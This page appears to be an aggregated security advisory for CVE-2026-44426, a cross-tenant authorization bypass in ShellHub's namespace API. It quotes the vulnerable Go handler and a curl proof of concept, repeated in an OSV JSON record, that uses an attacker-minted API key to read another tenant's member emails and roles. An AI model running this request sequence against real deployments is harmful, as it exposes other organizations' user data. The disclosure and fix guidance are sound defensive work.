CVE-2026-44426: Github.com/shellhub io/shellhub Tenant` Vulnerability

MODERATE
Advisory Identifier: GHSA-vwx9-7qcf-gg7f
CVSS 6.5
CWE-639
Published
Advisory Summary

CVE-2026-44426 is a MODERATE (CVSS 6.5) tenant` vulnerability (CWE-639: Authorization Bypass Through User-Controlled Key) affecting Github.com/shellhub io/shellhub libraries in the Go ecosystem. The issue involves tenant` via api key bypasses membership check. Remediation is available by upgrading affected packages to version 0.24.2.

CVE-2026-44426 at a Glance

CVE Identifier CVE-2026-44426
GHSA Identifier GHSA-vwx9-7qcf-gg7f
Severity MODERATE
CVSS v3.1 Base Score 6.5
CWE Classification CWE-639: Authorization Bypass Through User-Controlled Key
Affected Product Github.com/shellhub io/shellhub
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 6.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-44426

To remediate this vulnerability, upgrade all affected Github.com/shellhub io/shellhub dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/shellhub-io/shellhub fixed: 0.24.2
Upgrade github.com/shellhub-io/shellhub to 0.24.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/shellhub-io/shellhub

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-44426, inspect your project dependencies for Github.com/shellhub io/shellhub:

inspect dependencies for github.com/shellhub-io/shellhub

Analyze the terminal output to locate any version of Github.com/shellhub io/shellhub in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.24.2), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-639: Authorization Bypass Through User-Controlled Key, where the system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data. In Github.com/shellhub io/shellhub, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary `GET /api/namespaces/:tenant` returns the full namespace object — including the members list (user IDs, e-mails, roles), settings, and device counts — to any caller authenticated by an **API Key**, for any tenant, regardless of the API Key's own tenant scope. The handler conditionally skips the membership check when the user ID (`X-ID`) is absent, which is exactly the case for API Key authentication. ## Affected versions ShellHub Community v0.24.1 (validated). ## Root cause `api/routes/nsadm.go:75-102` — membership check is skipped when `c.ID()` is nil: ```go var uid string if c.ID() != nil { uid = c.ID().ID } ns, err := h.service.GetNamespace(c.Ctx(), req.Tenant) if err != nil || ns == nil { return c.NoContent(http.StatusNotFound) } if uid != "" { // ⚠️ skipped when API Key is used if _, ok := ns.FindMember(uid); !ok { return c.NoContent(http.StatusForbidden) } } return c.JSON(http.StatusOK, ns) ``` `AuthRequest` (`api/routes/auth.go:53-64`) sets only `X-Tenant-ID`, `X-Role`, and `X-API-KEY` for API Key authentication — never `X-ID`. So `c.Request().Header.Get("X-ID")` returns `""`, `c.ID()` returns `nil`, and the membership check is bypassed. ## Proof of concept (validated live against v0.24.1) ```bash # Attacker authenticates in their own namespace and mints an API Key ATTACKER_TOKEN=$(curl -s -X POST http://target/api/login \ -H 'Content-Type: application/json' \ -d '{"username":"attacker","password":"..."}' | jq -r .token) ATTACKER_KEY=$(curl -s -X POST http://target/api/namespaces/api-key \ -H "Authorization: Bearer $ATTACKER_TOKEN" \ -H 'Content-Type: application/json' \ -d '{"name":"poc","expires_at":30}' | jq -r .id) # Baseline: same request with JWT is correctly blocked curl -i http://target/api/namespaces/<victim-tenant-uuid> \ -H "Authorization: Bearer $ATTACKER_TOKEN" # Observed: HTTP 403 (correct) # Exploit: same request with API Key returns full namespace curl -i http://target/api/namespaces/<victim-tenant-uuid> \ -H "X-API-Key: $ATTACKER_KEY" # Observed: HTTP 200 + {name, owner, tenant_id, members:[{id,email,role,added_at},...], # settings, max_devices, devices_accepted_count, type, created_at} ``` ## Impact - Enumeration of any ShellHub namespace by tenant UUID. - Disclosure of member e-mails, user IDs, and roles → user enumeration and targeted phishing against the victim organization. - Disclosure of namespace settings (session recording on/off, announcement text), device counts, namespace type, owner identity. ## Suggested fix Two layers: 1. **Primary** — enforce caller-tenant match before returning the namespace, covering both JWT and API Key callers: ```go // nsadm.go GetNamespace if c.Tenant() != nil && c.Tenant().ID != req.Tenant { return c.NoContent(http.StatusForbidden) } ```

CVE-2026-44426 Affected Github.com/shellhub io/shellhub Versions

1 component(s)
Fixed Versions:
0.24.2
Product / Package Ecosystem Affected Versions Fixed Version
github.com/shellhub-io/shellhub
Go
< 0.24.2
0.24.2

References

Frequently Asked Questions

What is CVE-2026-44426?
CVE-2026-44426 is a security vulnerability in Github.com/shellhub io/shellhub involving tenant` via API Key bypasses membership check under CWE-639: Authorization Bypass Through User-Controlled Key.
Which Github.com/shellhub io/shellhub versions are affected?
Affected versions include releases prior to 0.24.2 across affected packages: github.com/shellhub-io/shellhub.
What version fixes CVE-2026-44426?
Upgrading to 0.24.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/shellhub-io/shellhub affected?
Yes, github.com/shellhub-io/shellhub is affected in releases prior to 0.24.2. Upgrade your dependency to 0.24.2 or later.
What is the CVSS score of CVE-2026-44426?
CVE-2026-44426 has a CVSS v3.1 base score of 6.5 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N.
What CWE is associated with CVE-2026-44426?
CVE-2026-44426 is classified under CWE-639: Authorization Bypass Through User-Controlled Key (The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.).
How can I check Go dependencies for CVE-2026-44426?
Run the dependency tree command: 'inspect dependencies for github.com/shellhub-io/shellhub'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-vwx9-7qcf-gg7f",
  "modified" : "2026-05-14T20:43:26Z",
  "published" : "2026-05-07T03:02:28Z",
  "aliases" : [ "CVE-2026-44426" ],
  "summary" : "ShellHub has cross-tenant IDOR in `GET /api/namespaces/:tenant` via API Key bypasses  membership check",
  "details" : "## Summary\n`GET /api/namespaces/:tenant` returns the full namespace object — including the members list (user IDs, e-mails, roles), settings, and device counts — to any caller authenticated by an **API Key**, for any tenant, regardless of the API Key's own tenant scope.\n\nThe handler conditionally skips the membership check when the user ID (`X-ID`) is absent, which is exactly the case for API Key authentication.\n\n## Affected versions\nShellHub Community v0.24.1 (validated).\n\n## Root cause\n`api/routes/nsadm.go:75-102` — membership check is skipped when `c.ID()` is nil:\n\n  ```go\n  var uid string\n  if c.ID() != nil {\n      uid = c.ID().ID\n  }\n\n  ns, err := h.service.GetNamespace(c.Ctx(), req.Tenant)\n  if err != nil || ns == nil {\n      return c.NoContent(http.StatusNotFound)\n  }\n\n  if uid != \"\" {                              // ⚠️ skipped when API Key is used\n      if _, ok := ns.FindMember(uid); !ok {\n          return c.NoContent(http.StatusForbidden)\n      }\n  }\n\n  return c.JSON(http.StatusOK, ns)\n  ```\n\n  `AuthRequest` (`api/routes/auth.go:53-64`) sets only `X-Tenant-ID`, `X-Role`,\n  and `X-API-KEY` for API Key authentication — never `X-ID`. So\n  `c.Request().Header.Get(\"X-ID\")` returns `\"\"`, `c.ID()` returns `nil`, and\n  the membership check is bypassed.\n\n## Proof of concept (validated live against v0.24.1)\n\n  ```bash\n  # Attacker authenticates in their own namespace and mints an API Key\n  ATTACKER_TOKEN=$(curl -s -X POST http://target/api/login \\\n    -H 'Content-Type: application/json' \\\n    -d '{\"username\":\"attacker\",\"password\":\"...\"}' | jq -r .token)\n\n  ATTACKER_KEY=$(curl -s -X POST http://target/api/namespaces/api-key \\\n    -H \"Authorization: Bearer $ATTACKER_TOKEN\" \\\n    -H 'Content-Type: application/json' \\\n    -d '{\"name\":\"poc\",\"expires_at\":30}' | jq -r .id)\n\n  # Baseline: same request with JWT is correctly blocked\n  curl -i http://target/api/namespaces/<victim-tenant-uuid> \\\n    -H \"Authorization: Bearer $ATTACKER_TOKEN\"\n  # Observed: HTTP 403 (correct)\n\n  # Exploit: same request with API Key returns full namespace\n  curl -i http://target/api/namespaces/<victim-tenant-uuid> \\\n    -H \"X-API-Key: $ATTACKER_KEY\"\n  # Observed: HTTP 200 + {name, owner, tenant_id, members:[{id,email,role,added_at},...],\n  #                      settings, max_devices, devices_accepted_count, type, created_at}\n  ```\n\n## Impact\n  - Enumeration of any ShellHub namespace by tenant UUID.\n  - Disclosure of member e-mails, user IDs, and roles → user enumeration and targeted phishing against the victim organization.\n  - Disclosure of namespace settings (session recording on/off, announcement text), device counts, namespace type, owner identity.\n\n## Suggested fix\nTwo layers:\n\n  1. **Primary** — enforce caller-tenant match before returning the namespace, covering both JWT and API Key callers:\n\n     ```go\n     // nsadm.go GetNamespace\n     if c.Tenant() != nil && c.Tenant().ID != req.Tenant {\n         return c.NoContent(http.StatusForbidden)\n     }\n     ```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/shellhub-io/shellhub"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.24.2"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.24.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/shellhub-io/shellhub/security/advisories/GHSA-vwx9-7qcf-gg7f"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-44426"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/shellhub-io/shellhub"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-639" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-07T03:02:28Z",
    "nvd_published_at" : "2026-05-13T22:16:44Z"
  }
}